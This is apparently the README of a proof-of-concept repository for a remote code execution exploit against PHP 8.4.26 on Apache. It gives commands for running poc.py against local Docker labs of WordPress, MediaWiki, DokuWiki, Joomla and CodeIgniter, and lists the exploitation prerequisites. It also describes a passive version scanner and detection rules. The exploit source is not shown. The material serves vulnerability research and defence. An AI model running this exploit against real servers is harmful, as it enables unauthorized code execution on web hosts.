Disclaimer
Use this repository only with the included local labs or another system you are explicitly authorized to test. The exploit client accepts only the loopback lab targets documented below; use the passive scanner only on assets you are authorized to assess. Read
AUTHORIZED_USE.mdbefore use.
php2shell is a reproducible proof of concept for CVE-2026-109618 and
CVE-2026-109619. On the verified PHP 8.4.26 Apache layout, it leaks the Zend MM
heap and loaded libphp bases. An RCE result is accepted only when the exploit
executes id and retrieves fresh output containing both uid= and gid=.
The scanner correlates bounded HEAD/GET results, exact runtime identity, application fingerprints, session cookies, and visible upload surfaces. It does not invoke the PoC, upload a payload, write a remote file, or test RCE/DoS.
The experimental defender package and live lab controls contain a PoC-specific Suricata indicator and a PHP startup-OOM worker-sequence candidate. The latter matched one affected lab run and stayed negative on the same-input patched control. Neither alert alone proves RCE; the separate PoC output supplies that proof.
git clone https://github.com/dimasma0305/php2shell.git
cd php2shell
docker compose -f lab/8.4.26/wordpress/compose.yaml up -d --build
python3 -u poc.py --url http://127.0.0.1:18173/On Windows, run python poc.py --url http://127.0.0.1:18173/.
A successful run ends with fresh target output:
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Each lab section below has its own VHS recording of the displayed poc.py
command and its output against that running lab. The Docker setup and teardown
commands are operator steps outside the recording.
Stop the lab when finished:
docker compose -f lab/8.4.26/wordpress/compose.yaml down -vStart the included labs, place one authorized HTTP(S) URL per line in
assets.txt, then run:
docker compose -f compose.scan.yaml up -d --build
python scan.py --assets assets.txt
docker compose -f compose.scan.yaml down -vSTATUS is based only on an exact disclosed PHP version. EXPOSURE and
SIGNALS separately report PHP/application fingerprints and visible session or
upload prerequisites; they never upgrade an asset to vulnerable. Use
--format jsonl for the complete, untruncated signal list. VHS tape ·
MP4 ·
Raw terminal output ·
Validation record
Every linked lab has retained output. The status describes only the exact application, PHP build, and proof level in that row.
| PHP | Lab | Status | Live VHS | Output |
|---|---|---|---|---|
| 8.4.26 | WordPress | RCE verified | Watch | Fresh output |
| 8.4.26 | MediaWiki | RCE verified | Watch | Fresh output |
| 8.4.26 | DokuWiki | RCE verified twice | Watch | Fresh output |
| 8.4.26 | Joomla | RCE verified twice | Watch | Fresh output |
| 8.4.26 | PHP/Apache | RCE verified | Watch | Fresh output |
| 8.4.26 | CodeIgniter | RCE verified | Watch | Fresh id output |
The main fixture uses WordPress commit
fc9832bef919c2a08541248db23af90d14ffb082 with a deterministic MariaDB seed.
docker compose -f lab/8.4.26/wordpress/compose.yaml up -d --build
python3 -u poc.py --url http://127.0.0.1:18173/
docker compose -f lab/8.4.26/wordpress/compose.yaml down -vVHS tape · MP4 · output from this take · earlier proof
This fixture exercises the ordinary Scribunto route and writes its proof under
MediaWiki's default writable images/ directory.
docker build -t php2shell-mediawiki lab/8.4.26/mediawiki
docker run --rm -d --name php2shell-mediawiki -p 127.0.0.1:18081:80 php2shell-mediawiki
python3 -u poc.py --url http://127.0.0.1:18081/
docker rm -f php2shell-mediawikiVHS tape · MP4 · output from this take · earlier proof
This fixture uses the unmodified DokuWiki 2026-07-14c application files on
the affected PHP runtime.
docker build -t php2shell-dokuwiki lab/8.4.26/dokuwiki
docker run --rm -d --name php2shell-dokuwiki -p 127.0.0.1:18083:80 php2shell-dokuwiki
python3 -u poc.py --url http://127.0.0.1:18083/
docker rm -f php2shell-dokuwikiVHS tape · MP4 · output from this take · earlier runs, run 2
This fixture serves the ordinary Joomla 6.1.4 installer route on the
affected PHP runtime.
docker build -t php2shell-joomla lab/8.4.26/joomla
docker run --rm -d --name php2shell-joomla -p 127.0.0.1:18086:80 php2shell-joomla
python3 -u poc.py --url http://127.0.0.1:18086/ --skip-warmup
docker rm -f php2shell-joomlaVHS tape · MP4 · output from this take · earlier runs, run 2
The smallest fixture is a plain PHP endpoint without a framework or an
application-level session_start() call.
docker build -t php2shell-php-apache lab/8.4.26/php-apache
docker run --rm -d --name php2shell-php-apache -p 127.0.0.1:18082:80 php2shell-php-apache
python3 -u poc.py --url http://127.0.0.1:18082/
docker rm -f php2shell-php-apacheVHS tape · MP4 · output from this take · earlier proof
This fixture uses CodeIgniter appstarter 4.7.4 with framework 4.7.5. Its
default application has no suitable web-readable writable directory. The PoC
executes id and POSTs its stdout to its own listener through the lab's short
Docker network alias x. No target-side proof script is installed.
docker compose -f lab/8.4.26/codeigniter/compose.yaml up -d --build
docker build -f docs/demo/recorder.Dockerfile -t php2shell-vhs-recorder docs/demo
docker run --rm --network codeigniter_default --network-alias x \
-v "$PWD:/vhs" -w /vhs --entrypoint sh php2shell-vhs-recorder \
-lc 'socat TCP-LISTEN:18087,bind=127.0.0.1,reuseaddr,fork TCP:codeigniter:80 >/tmp/proxy.log 2>&1 & exec python3 -u poc.py --url http://127.0.0.1:18087/ --retries 1'
docker compose -f lab/8.4.26/codeigniter/compose.yaml down -vThe PoC command inside the attacker container is
python3 -u poc.py --url http://127.0.0.1:18087/ --retries 1. It requires the
x alias to resolve to that container. A successful run prints fresh uid= and
gid= output. Restart the lab with a new Apache master if heap leakage fails;
the layout is sensitive to ASLR and allocator state. A
failed fresh run shows that
pre-execution failure mode.
Record another live run after starting the real lab:
docker compose -f lab/8.4.26/codeigniter/compose.yaml up -d --build
docker build -f docs/demo/recorder.Dockerfile -t php2shell-vhs-recorder docs/demo
docker run --rm --network codeigniter_default --network-alias x \
-v "$PWD:/vhs" -w /vhs php2shell-vhs-recorder docs/demo/codeigniter-live.tape
docker compose -f lab/8.4.26/codeigniter/compose.yaml down -vVHS tape · MP4 · raw output · fresh run 1 · fresh run 2 · fixed-build control
The video records the public PoC against the running lab in the same take.
- Docker with Compose support and Python 3.11 or newer.
- The exact unpatched PHP 8.4.26 Apache x86-64 build represented by the included profile. A matching version header alone is insufficient.
- Apache prefork with
mod_php, persistent keep-alive request handling, and Session upload progress enabled. - Multipart request streaming that reaches PHP without a proxy or WAF buffering, rejecting, truncating, or rewriting it.
- A matching application heap layout and fresh runtime leaks for the Zend MM
heap and
libphpbases. - Enough accepted request size and memory for the roughly 140 MiB calibrated request.
- An attacker-visible route that returns the fresh stdout of
id, including bothuid=andgid=. A callback path by itself is insufficient for the RCE verified label.
Unknown profiles fail closed. PHP 8.2.35, 8.3.36, 8.4.27, and 8.5.12 contain the upstream fixes and are not supported targets.
Useful profile checks:
./poc.py --list-builds
./poc.py --list-profiles
python3 -u poc.py --url http://127.0.0.1:18173/ --check-profile- The scanner can assess only an exact PHP version naturally disclosed in an trusted identity header or structured diagnostic response. A hidden version remains unknown; ordinary body text that mentions a version is ignored.
- A reported affected version is version triage, not proof that the vulnerable request path, SAPI, heap layout, or RCE prerequisites are present.
- A reported patched version covers these two CVEs only; it is not a general security assessment of the application.
- Missing session/upload signals mean only that the requested page did not expose them; absence is not proof that another route lacks the prerequisite.
- Redirects are not followed, response bodies are capped at 64 KiB, and TLS certificate verification stays enabled.






